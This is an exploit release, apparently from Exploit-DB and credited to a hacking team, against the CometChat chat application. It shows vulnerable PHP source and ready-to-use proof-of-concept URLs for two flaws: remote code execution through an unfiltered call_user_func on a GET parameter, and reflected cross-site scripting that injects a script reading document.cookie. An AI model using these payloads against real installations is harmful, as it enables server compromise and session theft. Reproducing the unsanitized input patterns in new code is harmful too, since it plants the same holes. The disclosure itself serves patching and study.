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__ _ _ ____
/ /___ _____ (_)_____________ ______(_)__ _____ / __ \_________ _
__ / / __ `/ __ \/ / ___/ ___/ __ `/ ___/ / _ \/ ___// / / / ___/ __ `/
/ /_/ / /_/ / / / / (__ |__ ) /_/ / / / / __(__ )/ /_/ / / / /_/ /
\____/\__,_/_/ /_/_/____/____/\__,_/_/ /_/\___/____(_)____/_/ \__, /
/____/
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Cometchat chat Application All Version Multiple Vulnerabilities
Cometchat is a chat application which in use Vbulletin,Xenforo,SMF,MyBB and other integrated scripts
App Homepage : http://www.cometchat.com
Author(Pentester): B127Y
Special Thanks : Burtay and All Janissaries Team(Burtay,Miyachung,3spi0n,TheMirkin,Michelony,Mectruy)
Jani Exploit id 1 (http://www.janissaries.org/exploits/1)
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# Exploit-DB Note 20-02-2013:
# A security patch appears to have been released to address the issue:
# http://www.cometchat.com/blog/cometchat-critical-security-update/
1.)Code Execution P0C (modules/chatrooms/chatrooms.php)
call_user_func call_user_func($_GET['action']);
Can use all php functions and cometchat function without arguments
Live Demo:http://server/cometchat/modules/chatrooms/chatrooms.php?action=phpinfo
2.)XSS P0C (plugins/handwrite/index.php)
echo echo <<<EOD <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>{$handwrite_language[0]}</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <style> html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { margin: 0; padding: 0; border: 0; outline: 0; font-weight: inherit; font-style: inherit; font-size: 100%; font-family: inherit; vertical-align: baseline; text-align: center; } html { height: 100%; overflow: hidden; /* Hides scrollbar in IE */ } body { height: 100%; margin: 0; padding: 0; } #flashcontent { height: 100%; } </style> </style> </head> <body><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" width="100%" height="100%" align="middle" id="main"> <param name="allowScriptAccess" value="sameDomain" /> <param name="movie" value="handwriting.swf" /> <param name="quality" value="high" /> <param name="bgcolor" value="#ffffff" /> <param name="FlashVars" value="tid={$toId}" /> <param name="scale" value="exactFit" /> <embed src="handwriting.swf" width="100%" height="100%" autostart="false" quality="high" bgcolor="#ffffff" FlashVars="tid={$toId}" name="main" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /> </object></body> </html> EOD;
$toId = $_GET['id'];
Live Demo:http://server/cometchat/plugins/handwrite/index.php?id="><script>alert(document.cookie)</script>
